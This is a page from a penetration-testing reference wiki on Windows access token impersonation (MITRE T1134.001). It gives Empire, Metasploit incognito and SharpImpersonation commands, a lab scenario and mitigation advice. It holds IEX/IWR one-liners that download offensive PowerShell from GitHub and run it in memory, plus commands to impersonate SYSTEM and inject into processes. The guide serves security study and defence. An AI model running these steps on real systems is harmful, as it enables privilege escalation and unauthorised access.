Pentest Everything
GitHubSupport Pentest Everything
  • ⚔️Pentest Everything
  • 🚩Writeups
    • CyberSecLabs
      • Active Directory
        • Dictionary
        • Spray (WIP)
      • Linux
        • Shock
        • Pie
      • Windows
        • Brute
        • Deployable
        • Glass
        • Monitor
        • Sam
        • Secret
        • Stack
        • Unattended
        • Weak
    • HackTheBox
      • Active Directory
        • Active
        • Blackfield
        • Cascade
        • Forest
        • Intelligence
        • Mantis
        • Monteverde
        • Resolute
        • Return
        • Sauna
        • Search
      • Linux
        • Antique
        • Armageddon
        • Backdoor
        • Bashed
        • Cap
        • Cronos
        • Curling
        • Knife
        • Lame
        • Help
        • Horizontall
        • OpenAdmin
        • Poison
        • SolidState
        • Traceback
        • Trick
      • Windows
        • Access
        • Artic
        • Bastard
        • Bastion
        • Bounty
        • Devel
        • Heist
        • Jeeves
        • Jerry
        • Legacy
        • Love
        • Optimum
        • Remote
        • SecNotes
        • Servmon
        • Timelapse
        • Querier
    • PG Play | Vulnhub
      • Linux
        • BBSCute
        • BTRSys2.1
        • Born2root
        • BossPlayersCTF
        • Covfefe
        • Dawn
        • DC5
        • Funbox
        • FunboxEasy
        • FunBoxEasyEnum
        • HackerFest2019
        • Geisha
        • JISCTF
        • My-CMSMS
        • NoName
        • OnSystemShellDredd
        • Photographer
        • Potato
        • PyExp
        • Samurai
        • SunsetDecoy
        • SunsetMidnight
        • SunsetTwilight
        • Wpwn
    • PG Practice
      • Linux
        • ClamAV
        • Nibbles
        • Payday
        • Pelican
        • Peppo
        • Postfish
        • Pwned1
        • Snookums
        • Sirol
        • Sorcerer
        • Quackerjack
        • WebCal
        • Walla
        • ZenPhoto
        • Zino
      • Windows
        • Algernon
        • Compromised
        • Kevin
        • Helpdesk
        • Hutch
        • Jacko
        • Meathead
        • Metallus
        • Shenzi
        • Slort
        • UT99
    • TryHackMe
      • Linux
        • All in One
        • Archangel
        • Anonforce
        • Biblioteca
        • Cat Pictures
        • Chill Hack
        • CMesS
        • ColddBox
        • ConvertMyVideo
        • CyberHeroes
        • Cyborg
        • Dav
        • Fusion Corp
        • GamingServer
        • Gallery
        • Internal
        • Jacobtheboss
        • Kiba
        • LazyAdmin
        • Library
        • Madness
        • Marketplace
        • Mustacchio
        • NerdHerd
        • Oh My WebServer
        • Olympus
        • Plotted-TMS
        • Skynet
        • Startup
        • Surfer
        • Team
        • Tech_Supp0rt: 1
        • Tomghost
        • VulnNet
        • Undiscovered
        • Year of the Owl
      • Windows
        • Blueprint
        • Enterprise
        • Flatline
        • Quotient
        • RazorBlack
        • Relevant
        • USTOUN
        • VulnNet: Roasted
    • To Do
      • AllSignsPoint2Pwnage (WIP)
      • Hunit (WIP)
      • Escape (WIP)
      • Banzai (WIP)
      • Billyboss (WIP)
      • Fish
      • Ra
      • Roquefort (WIP)
  • 💾GitHub
  • 🔵PsMapExec
    • Change Log
    • BloodHound
    • Using Credentials
    • Cross Domain Usage
    • Methods
      • Command Execution
      • DCSync
      • GenRelayList / SMB Signing
      • Inject
      • IPMI
      • Kerberoast
      • MSSQL
      • Session Hunter
      • Spray
    • Modules
      • Amnesiac
      • ConsoleHistory
      • Files
      • FileZilla
      • KerbDump
      • eKeys
      • LDAP / LDAPS
      • LogonPasswords
      • LSA
      • MDF
      • NTDS
      • Notepad
      • NTLM
      • SAM
      • SCCM
      • SessionExec
      • SessionRelay
      • SSH
      • TGTDeleg
      • VNC
      • Wi-Fi
      • WinSCP
    • Target Acquisition
  • Everything
    • Buffer Overflow Guide
    • Everything Active Directory and Windows
      • Active Directory Enumeration
      • ADCS
        • Enumeration - Certificate Authority
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC6
        • ESC7
        • ESC8
        • ESC9 - WIP
        • ESC11
      • Access Token Manipultion
        • Token Impersonation
        • Create Process with Token
        • 🔨Make and Impersonate Token
        • Parent PID Spoofing
        • 🔨SID-History Injection
      • Adversary-in-the-Middle
        • 🔨LDAP Relay
        • 🔨LLMNR
        • 🔨RDP MiTM
        • 🔨SMB Relay
      • Credential Access
        • Brute Force
          • Password Spraying
        • Credential Dumping
          • LSASS Memory
          • Security Account Manager (SAM)
          • NTDS
          • LSA Secrets
          • Cached Domain Credentials
          • DCSync
            • 🔨DCSync Attack
        • Credentials from Password Stores
          • Credentials from Web Browsers
          • Windows Credential Manager
        • Unsecured Credentials
          • Credentials In Files
          • Credentials in Registry
          • Group Policy Preferences
            • 🔨GPP Passwords
        • 🔨Modify Authentication Process
          • Domain Controller Authentication: Skeleton Key
          • Reversible Encryption
        • Steal or Forge Kerberos Tickets
          • AS-REP Roasting
          • Golden Ticket
          • Kerberoasting
          • Silver Ticket
          • S4U2Self
          • Ticket Aquisition
          • Constrained Delegation
          • Unconstrained Delegation
      • Collection
        • Clipboard Data
        • Audio Capture
      • Defense Evasion
        • Disable and Bypass Defender
        • Impair Defenses
          • Disable Windows Event Logging
          • Impair Command History Logging
          • Disable or Modify System Firewall
        • Indicator Removal
          • Clear Windows Event Logs
          • Clear Command History
          • File Deletion
          • Network Share Connection Removal
          • Timestomp
      • Input Capture
        • Keylogging
      • Lateral Movement
        • PowerShell Remoting
        • Alternate Authentication Material
          • Pass The Hash
          • Pass the Ticket
          • Pass the Password
      • File Execution Methods
      • File Transfer Techniques
      • Forced Coercion
        • URL File Attack
      • LAPS
      • Network Sniffing
      • Persistence
        • AdminSDHolder
        • BITS Jobs
        • Create Account
          • Local Account
          • Domain Account
          • Cloud Account
        • Create or Modify System Process
          • Windows Service
        • Custom SSP
        • DSRM
        • 🔨Persistence Notes
        • Skeleton Key Attack
      • Privilege Escalation
        • Privilege Escalation Checklist
        • DnsAdmin
        • Registry
          • Always Install Elevated
          • AutoRuns
        • Service Exploits
          • Insecure Service Permissions
      • SCCM / MECM
        • Recon
        • CRED-1 - PXE Abuse
        • CRED-2 - Policy Request Credentials
        • CRED-3 - WMI Local Secrets
        • CRED-4 - CIM Repository
        • CRED-5 - MSSQL Database
        • ELEVATE-2 - Client Push
        • TAKEOVER-2
      • Timeroasting
      • Tools
        • BloodHound
    • Everything Linux
      • File Transfer Techniques
      • Linux Privilege Escalation Techniques
      • Privilege Escalation Checklist
      • Shell Upgrades
    • Everything OSINT
      • Discovering Email Addresses
      • Dork Tools
      • Image OSINT
      • Metadata OSINT
      • Password OSINT
      • Phone Number OSINT
      • Search Engine Operators
      • Social Media OSINT Tools
      • OSINT CTFs
      • OSINT VM
      • Username OSINT
    • Everything Web
      • Command Injection
      • Enumeration
      • File Upload
      • Sub Domain Enumeration
      • XSS
    • Host Discovery
    • Pivoting and Portforwarding
    • Ports
      • Nmap Commands for port discovery
      • Port 21 | FTP
      • Port 25 | SMTP
      • Port 53 | DNS
      • Port 88 | Kerberos
      • Ports 111 | 32771 | rpcbind
      • Port 123 | NTP
      • Ports 137 | 138 | 139 | NetBIOS
      • Ports 139 | 445 | SMB
      • Ports 161 | 162 | SNMP
      • Port 389 | LDAP
      • Ports 1099 | Java RMI
      • Ports 2049 | NFS
      • Port 3389 | RDP
      • Ports 8080 | 8180 | Apache Tomcat
    • PowerShell
      • Constrained Language Mode
      • Download and Execution Methods
      • Resources
      • Restricted Mode
  • Resources
    • Cheat Sheets
      • Default Passwords
      • Kerberoast
      • Mimikatz
      • Powerup
    • Hashcat Word lists and Rules
    • Metasploit Modules
    • Misc Snippets
    • GTFOBins
    • LOLBAS
    • WADCOMS
    • Reverse Shell Generator
    • OSINT Tools
    • Weakpass
  • Password Filter DLL
  • Dork Cheatsheet
Powered by GitBook
On this page
  • Techniques
  • Empire
  • Get-System
  • Metasploit
  • SharpImpersonation (Invoke)
  • Scenario
  • Rev2self
  • Token Types
  • Mitigation
  • Further Reading:

Was this helpful?

  1. Everything
  2. Everything Active Directory and Windows
  3. Access Token Manipultion

Token Impersonation

https://attack.mitre.org/techniques/T1134/001/

Last updated 2 years ago

Was this helpful?

ATT&CK ID:

Permissions Required: Administrator | SYSTEM | User

Description

Adversaries may duplicate then impersonate another user's token to escalate privileges and bypass access controls. An adversary can create a new access token that duplicates an existing token using DuplicateToken(Ex). The token can then be used with ImpersonateLoggedOnUser to allow the calling thread to impersonate a logged on user's security context, or with SetThreadToken to assign the impersonated token to a thread.

An adversary may do this when they have a specific, existing process they want to assign the new token to. For example, this may be useful for when the target user has a non-network logon session on the system.

[]

Techniques

Empire

usemodule/powershell/privesc/getsystem

Get-System

IEX (IWR -usebasicparsing  https://raw.githubusercontent.com/BC-SECURITY/Empire/master/empire/server/data/module_source/privesc/Get-System.ps1);Get-System

Metasploit

# Load token module
load incognito

# List available tokens
list_tokens -u

# Impersonate token
impersonate_token <FullNameOfToken>

# Revert to original token (Meterpreter)
rev2self

SharpImpersonation (Invoke)

Load into memory

IEX (IWR -usebasicparsing https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpImpersonation.ps1)
# List current tokens on system
Invoke-SharpImpersonation -Command "list"
Invoke-SharpImpersonation -Command "list wmi"

# Attempt to impersonate user with first process found 
Invoke-SharpImpersonation -Command "user:<Domain\User>"

# Impersonate in current thread
Invoke-SharpImpersonation "user:<Domain\User> technique:ImpersonateLoggedOnUser"

# Inject directly into a process ID
Invoke-SharpImpersonation -Command "pid:<PID>"

# Impersonate first process of target user to a custom binary path
Invoke-SharpImpersonation -Command "user:<Domain\User> binary:<binary-Path>"
Invoke-SharpImpersonation -Command "user:<Domain\User> binary:powershell.exe"
Invoke-SharpImpersonation -Command "user:<Domain\User> binary:cmd.exe"

# List all running processes and users natively
Get-Process -IncludeUserName | Select UserName, ProcessName, ID | Sort UserName

Scenario

In this scenario we will be using Metasploit. This scenario assumes we already have gained shell access on the target system as the user 'Bart.Simpson'.

In Metasploit we can load the incognito module with the command load incognito. This will load the modules required to impersonate another users token. Once loaded we can use the help command to show if the module has loaded and what options are available to us.

We can then list the available tokens for users with the list_tokens -u command.

In the example below we will attempt to load the 'NT AUTHORITY\SYSTEM' token. with the command:

impersonate_token <token>

Tokens will persist until a machine has been rebooted. Below I have rebooted the target machine and logged in as the user 'Lisa.Simpson'. I then exploited the machine and viewed available tokens. As we can see we have less available to us now that the machine has been rebooted.

Rev2self

The meterpreter command Rev2self can be used to revert to the original user token.

Token Types

Delegation

Are generally created when a user logs on interactively to the target system. Delegation tokens can be used elsewhere on the network.

Impersonation

Impersonation tokens run in an alternative security context to the process that started it. These tokens are generally not used elsewhere on the network.


Due to the fact that tokens persist until reboot. Servers and File Servers are a potential treasure troves for tokens.

Mitigation

  • Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token.

  • Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command runas.

  • An adversary must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require.

Further Reading:

URL:

Analysis of Access Token Theft and Manipulation:

https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/Invoke-SharpImpersonation.ps1
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-access-token-theft-manipulation-attacks.pdf
T1134.001
Source